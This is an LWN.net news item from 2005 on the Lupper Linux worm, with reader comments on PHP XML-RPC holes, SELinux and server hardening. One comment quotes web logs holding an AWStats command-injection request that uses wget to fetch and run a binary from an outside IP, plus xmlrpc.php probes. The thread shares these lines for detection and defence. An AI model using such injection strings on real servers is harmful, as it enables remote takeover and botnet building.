|
|
Subscribe / Log in / New account

A Linux worm on the loose?

Security companies like McAffee are reporting that a Linux-based worm, which they call "Lupper," is on the loose. It evidently uses the PHP XML-RPC vulnerability to infect new systems, and is building a bot network from the systems it takes over. Signs of infection are a process listening on ports 7111 or 7112, and a /tmp/lupii file. Has anybody actually seen this one?

to post comments

A Linux worm on the loose?

Posted Nov 8, 2005 15:20 UTC (Tue) by xach (guest, #2349) [Link] (3 responses)

I've seen the request pattern in my HTTP logs in the past few days.

A Linux worm on the loose?

Posted Nov 8, 2005 15:48 UTC (Tue) by mrshiny (guest, #4266) [Link]

I second that; my web server has been targetted as well, but I'm not running php-xmlrpc and I'm up to date anyway. But yet another thing filling my logs...

A Linux worm on the loose?

Posted Nov 9, 2005 13:51 UTC (Wed) by sgreppucci (guest, #14800) [Link] (1 responses)

What do the requests look like?

A Linux worm on the loose?

Posted Nov 9, 2005 21:55 UTC (Wed) by diegoliz (guest, #29285) [Link]

I don't know if it's this worm but today I got the following sequence on the logs:

"GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"
"GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1"
"POST /xmlrpc.php HTTP/1.1"
"POST /blog/xmlrpc.php HTTP/1.1"
"POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1"
"POST /phpgroupware/xmlrpc.php HTTP/1.1"
"POST /wordpress/xmlrpc.php HTTP/1.1"
"POST /blog/xmlsrv/xmlrpc.php HTTP/1.1"
"POST /drupal/xmlrpc.php HTTP/1.1"
"POST /xmlrpc.php HTTP/1.1"

More info (links)

Posted Nov 8, 2005 17:13 UTC (Tue) by frazier (guest, #3060) [Link]

There's also a security warning out on a non-PEAR XML-RPC:
http://phpxmlrpc.sourceforge.net/

As mentioned there:

PHPXMLRPC or derivative versions are used in many open source projects, including Ampache, Xaraya, Drupal (only up to releases 4.6.2 and 4.5.4), PostNuke, b2evolution, nucleus cms, phpmyfaq, phpPgAds, phpgroupware, egroupware, TikiWiki, Civicspace (old release only) and MailWatch for MailScanner.
Here's the McAfee page:
http://vil.nai.com/vil/content/v_136821.htm

-Brock

SE Linux systems not vulnerable

Posted Nov 8, 2005 19:04 UTC (Tue) by treed (guest, #11432) [Link] (8 responses)

SE Linux is the most important security technology for Linux these days. It is important that more people learn to use it.

The /var/www/cgi-bin runs in a security context which does not allow binding to ports.

SE Linux systems not vulnerable

Posted Nov 8, 2005 19:46 UTC (Tue) by tzafrir (subscriber, #11501) [Link]

Does it allow submitting at/cron jobs?

SE Linux systems not vulnerable

Posted Nov 8, 2005 23:32 UTC (Tue) by job (guest, #670) [Link] (3 responses)

SE Linux is a bit heavy to use unless you have a distribution that supports it out of the box.

PHP and friends has had many security holes, and there is no reason to believe this is the last. Just turn it off unless you really need it. And if you need it, run it as FastCGI in a chroot jail.

Security is Free

Posted Nov 9, 2005 3:43 UTC (Wed) by kirkengaard (guest, #15022) [Link] (2 responses)

" PHP and friends has had many security holes, and there is no reason to believe this is the last. Just turn it off unless you really need it. And if you need it, run it as FastCGI in a chroot jail."

I love how the Windows-side people are hooting about this worm. "They can be brought low! They're just like the rest of us!" But linux systems can be secured with a little knowledge and a little secure thinking. No product to buy, nobody to trust.

A) Don't run more than you need to do the job - apart from having benefits to system load, this limits the number of components you have to check for vulnerabilities. This isn't an Apache problem, it's an Apache module problem. Only add to Apache what you need to serve what you're serving.

B) Don't expose more than you need to expose to do the job - anything you expose can be vulnerable, as no software is perfect.

C) Lock down what you expose - "least privilege" principle. Anything that must be done as root is worth the inconvenience of local execution. Never expose setuid-root binaries unless you're stuck with Hobson's choice. In any event, sandbox what you expose to limit the potential damage. chroot() without privilege limitation is still vulnerable.

Maybe that's simplistic of me, and I have left out what a lot of work that can become. I have to agree that SE Linux is a bit heavy, but if you're willing to deal with that much extra config, it definitely can help with B and C. Ben Franklin equated security and freedom as inversely proportional, and in this event his statement can be usefully inverted. The user who is willing to give up essential security for temporary liberty deserves neither security nor liberty.

Security is Free

Posted Nov 9, 2005 9:46 UTC (Wed) by Felix.Braun (guest, #3032) [Link] (1 responses)

I don't think that the capacity for security is unique to the *nix world. In fact, if you applied A, B, and C to a Windows system it would probably be immune to most of the worms / viruses out there.

The differences I see in growing order of importance are

  1. security consciousness of the user base,
  2. default configuration, and
  3. how easy the system as a whole makes it to close down unneeded services.
To me this third point is the most important one. For example, there are still many third party programs on windows which require admin privileges to run properly.

Threshold, not capacity

Posted Nov 9, 2005 16:45 UTC (Wed) by kirkengaard (guest, #15022) [Link]

1 is a universal problem for social engineering; 2 and 3 are really where my point lies. It is not the capacity, but the entry-threshold for security implementation that I find to be the great advantage over Windows. The greater pains it has taken me to implement A, B, and C (incompletely) under Windows make the effort to learn security under Linux, with tools provided with the distribution and in the kernel, seem effortless. Learning, as opposed to fighting, the operating system.

SE Linux systems not vulnerable

Posted Nov 9, 2005 12:45 UTC (Wed) by copsewood (subscriber, #199) [Link] (1 responses)

>SE Linux is the most important security technology for Linux
>these days. It is important that more people learn to use it.

Maybe and maybe not. In my view this one is too early to call. The complexity of setting up a security system can either prevent the average administrator from understanding and carrying out the task fully and correctly, or prevent an overworked administrator (who isn't ?) being willing to consider the learning curve behind a security technology in the first place until the technology is more mature and therefore more easy to implement. The more complex the configuration demand, the greater the chance of mistakes amongst those who do attempt to get it right. This problem is likely to change with SE Linux if and only if the packages that people want to run on it (e.g. Apache, Sendmail etc.) are adequately packaged for it so that these install and run correctly on it "out of the box" and are supported at least as well as packages intended for simpler versions of Linux. My take on the chicken and egg nature of the problem in achieving critical mass to make a technology with network effects take off is that you have to have a specialist interest in security tech for it to be worth your while working on SE Linux right now.

It currently seems more probable from my perspective that an easier and no-less effective solution to the requirement SE Linux addresses might arise from use of virtualisation technology e.g. User-Mode Linux or Xen, combined with chips which support virtualisation (e.g. Pacifica) to run all of the seperate applications needed in their own virtual-machine sandboxes. I think critical mass could be achieved sooner in this area due to the other very significant benefits of being able to partition a host system into multiple VMs which are secure against each other.

SE Linux systems not vulnerable

Posted Nov 10, 2005 15:40 UTC (Thu) by drag (guest, #31333) [Link]

If you were running your server in a Xen domain it still would of been taken over. It just would of only taken over that paticular host.

How is that so much better then running a dedicated box for webhosting?

Xen and such is nice because you can acheive the same effect as hosting in a dedicated box on a box that can do lots of different things.

You see Xen and virtualization doesn't realy improve security, it just makes it easier to reduce the effect of having your security comprimised. And still with a machine rooted in your network, even if it's running in a virtual box, it's going to make it just that much easier for the attacker to take over any other boxes on that network.

Now on the other hand if you were running SELinux it would of just stopped it from doing anything, including taking over your Xen host.

Now of course the smartest thing would of been just to stay the hell away from PHP. This isn't the first worm out there in the wild exploiting vunerabilities in PHP, and it won't be the last. If your going to use it then at least keep it up to date religiously.

In fact it's kinda irritating. Linux had it's only viruses and only worm problems previously back when we had Redhat doing insane stuff like enabling all services in Redhat 6-7.x by default. Since then there hasn't been any problems like this even with vastly increased popularity in Linux/Redhat stuff.

Hell even Microsoft figured this crap out!

So if they, and most everybody else, has learned their lessons.. then why are people still running around with unpatched web-facing servers? Anybody running a webserver in a unpatched state realy realy needs to be hit by a big-ol' clue stick.

The term 'Complete Morons' come to mind as well as numerious other phrases best left unsaid. It's just making life harder for everybody else.

Oh, and if your server has been rooted. Format and reinstall. That's the only solution. Otherwise your going to be running a comprimised server and there isn't anything you can do about it.

fedora and RHEL4 blocks current instance of the worm out of the box

Posted Nov 9, 2005 17:38 UTC (Wed) by scottt (guest, #5028) [Link]

From Mark Cox's blog on 7 Nov 2005:

"Our analysis showed that the default SELinux targeted policy on Enterprise Linux 4 would have blocked the specific instances of this worm seen so far, but is not sufficient to block a worm written differently from exploiting this vulnerability if left unpatched. Time to make sure all your servers are up2date!"


Copyright © 2005, Eklektix, Inc.
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds